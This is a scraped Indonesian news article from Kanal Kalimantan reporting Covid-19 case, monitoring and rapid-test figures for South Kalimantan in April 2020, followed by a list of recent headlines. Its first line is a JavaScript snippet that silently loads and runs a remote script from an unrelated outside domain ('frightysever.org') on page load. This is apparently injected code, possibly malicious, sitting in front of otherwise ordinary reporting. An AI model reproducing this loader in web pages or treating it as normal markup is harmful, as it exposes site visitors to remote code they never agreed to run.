(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

BREAKING NEWS. 3 Minggu Sejak Kasus Pertama, Pasien Positif Covid-19 di Kalsel Capai 29 Orang!


KANALKALIMANTAN.COM, BANJARMASIN– Perkembangan kasus Covid-19 di Kalimantan Selatan (Kalsel) tergolong cepat. Terhitung tiga minggu sejak kasus pertema diumumkan Tim Gugus Tugas Pencegahan, Pengendalian, dan Penanganan (P3) Covid-19 pada 22 Maret 2020 lalu, saat ini jumlah pasien terkonfirmasi positif Covid-19 sudah mencapai 29 orang. Dengan catatan, 23 orang masih dalam perawatan di sejumlah RS rujukan di Kalsel, 2 orang dinyatakan sembuh, dan 4 orang meninggal dunia.

Jika dibandingkan dengan data nasional, Indonesia hanya butuh 12 hari untuk mencapai 50 kasus pertama. Sedangkan apabila dibandingkan dengan negara lain seperti Singapura, maka memerlukan perlu 21 hari untuk mencapai 50 kasus pertama dan Malaysia 39 hari untuk jumlah kasus yang sama. Catatan terlama ada pada Vietnam yang mampu menahan hingga 52 hari untuk mencapai kasus ke-50.

Sebelumnya, Gugus Tugas mengatakan, satu orang yang berstatus Pasien Dalam Pengawasan (PDP) di Kalsel dinyatakan positif corona pada Minggu (22/3/2020) lalu. Jubir Gugus Tugas Muslim mengatakan, pasien yang dinyatakan positif terinfeksi virua corona tersebut merupakan pasien dengan kode Ulin 01 yang dirawat di RSUD Ulin Banjarmasin.

Pasien Ulin 01 yang sekarang disebut KS Covid #01, memiliki riwayat perjalanan keluar daerah yakni ke pulau Jawa. Daerah yang didatangi pasien tersebut telah dinyatakan terjangkit virus corona.

Dari riwayat, pasien KS Covid #01 masuk ke Rumah Sakit Suaka Insan, Banjarmasin, Sabtu (14/3/2020). Beberapa hari dirawat di RS tersebut, pasien kemudian dirujuk ke RSUD Ulin Banjarmasin dan masuk ke ruang isolasi khusus Covid-19.

Saat ini, kondisi KS Covid #01 masih menjalani perawatan intensif di RSUD Ulin Banjarmasin. Kendati kondisi terakhir dilaporkan stabil, nyatanya pasien ini belum juga dipulangkan. Mengapa demikian? Juru Bicara Tim Gugus Tugas P3 Covid-19 Kalsel Muhammad Muslim mencoba menjawab pertanyaan ini. “Kita sudah melakukan tes (PCR, polymerase chain reaction). Kita tunggu terutama untuk KS Covid #01, mudah-mudahan hasil berikutnya negatif,” kata Muslim.

Jika hasil laboratorium PCR dinyatakan negatif, maka baik tim medis maupun Tim Gugus Tugas dapat mengambil keputusan. “Sementara kita tunggu dulu,” singkatnya.

Selanjutnya, untuk kontak yang lainnya yang masih berkaitan dengan KS Covid #01, sudah dilakukan tes di laboratorium. Namun sayang, hasilnya masih dinyatakan positif Covid-19. “Oleh karena itu, akan kita ulang kembali dan kita lakukan pengobatan. Sehingga nanti betul-betul hasil laboratoriumnya menunjukkan penyembuhan atau negatif Covid-19,” jelas Muslim.

Hingga kini, data terbaru pada Minggu (12/4/2020) pagi menunjukkan adanya perubahan jumlah orang dalam pemantauan (ODP) maupun pasien dalam pengawasan (PDP). Data yang terhitung hingga pukul 10:00 Wita, menunjukkan adanya pengurangan jumlah ODP. Jika dibandingkan pada hari sebelumnya di waktu yang sama, jumlah ODP sebanyak 1.194 orang, maka pada Minggu pagi berkurang menjadi 1.184 orang.

Kabupaten Tanah Bumbu masih menduduki peringkat pertama jumlah ODP terbanyak, berjumlah 242 orang. Disusul oleh Kota Banjarmasin sebanyak 232 orang dan Kota Banjarbaru sebanyak 225 orang.

Sedangkan jumlah ODP paling sedikit, kali ini tercatat di Kabupaten Kotabaru sebanyak 13 orang, Kabupaten Tapin sebanyak 14 orang dan Kabupaten Barito Kuala sebanyak 25 orang.

Sedangkan pasien dalam pengawasan (PDP) yang dirawat di rumah sakit (RS) rujukan kembali bertambah. Jika pada Sabtu sore tercatat ada 14 PDP, kali ini bertambah menjadi 15 PDP. Adanya satu PDP baru berasal dari Kabupaten Hulu Sungai Selatan.

Sementara itu, hingga Minggu pagi, belum ada temuan baru kasus positif Covid-19 yang terkonfirmasi. Tercatat sudah ada 29 temuan kasus positif Covid-19 di mana 23 di antaranya tengah menjalani perawatan di RS rujukan.

Di sisi lain, dari 1.104 laporan hasil rapid test yang dilakukan Tim Surveilans Epidemiologi dari 13 kabupaten/kota se Kalsel, ada 88 laporan dinyatakan reaktif atau positif Covid-19. Jika dihitung, laporan rapid test yang reaktif sebesar 8,6 persen. Diakui Muslim, terjadi peningkatan yang cukup signifikan hasil rapid test reaktif ini. “Peningkatan ini tentu saja lebih banyak kepada hasil tracing,” lugas Muslim.

Hasil rapid test sendiri yang dilakukan pada beberapa cluster maupun kontak erat dengan kasus positif Covid-19, ditindaklanjuti dengan pengambilan swab. Kemudian juga, dengan tata laksana dengan catatan kondisi orang yang menjalani rapid test. “Jika kondisi orang dalam pemantauan (ODP) dengan kondisi ringan, maka tetap dilakukan isolasi mandiri di rumah. Namun, jika mengalami beberapa hal yang meningkat dari gejala klinis yang ada, maka akan dirawat di rumah sakit,” jelas Muslim.(kanalkalimantan.com/fikri)

Reporter : Fikri
Editor : Chell


Desy Arfianty

Recent Posts

Kontestan Kepala Daerah di Kalsel Ditantang Miliki Visi Majukan Perpustakaan

KANALKALIMANTAN.COM, BANJARMASIN - Tim Tenaga Ahli Gubernur Kalimantan Selatan (Kalsel) melakukan kunjungan ke Dinas Perpustakaan… Read More

1 jam ago

Instansi Vertikal Disiapkan Masuk SKPD Instansi Mengajar di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dinas Pendidikan (Disdik) Kota Banjarbaru siap menggandeng instansi vertikal di Kota Banjarbaru,… Read More

2 jam ago

780 Anggota PPK se Kalsel Dilantik, Bertugas 8 Bulan

KANALKALIMANTAN.COM, BANJARBARU - Seluruh Panitia Pemilihan Kecamatan (PPK) di Provinsi Kalimantan Selatan (Kalsel) resmi dilantik… Read More

2 jam ago

25 Anggota PPK Kota Banjarbaru Dilantik, Langsung Bekerja Membentuk Sekretariat

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru resmi melantik 25 orang anggota Panitia… Read More

6 jam ago

Kearifan Lokal Kalsel Harus Dibaca dan Ditulis Generasi Muda

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Perpustakaan dan Kearsipan Provinsi Kalimantan Selatan (Kalsel) menggelar acara sosialisasi budaya… Read More

17 jam ago

Sekda HSU Sampaikan Raperda Pertanggungjawaban Pelaksanaan APBD 2023, Ini Angka Detailnya

KANALKALIMANTAN.COM, AMUNTAI - Sekretaris Daerah (Sekda) Hulu Sungai Utara (HSU) Adi Lesmana menyebut capaian target… Read More

19 jam ago

This website uses cookies.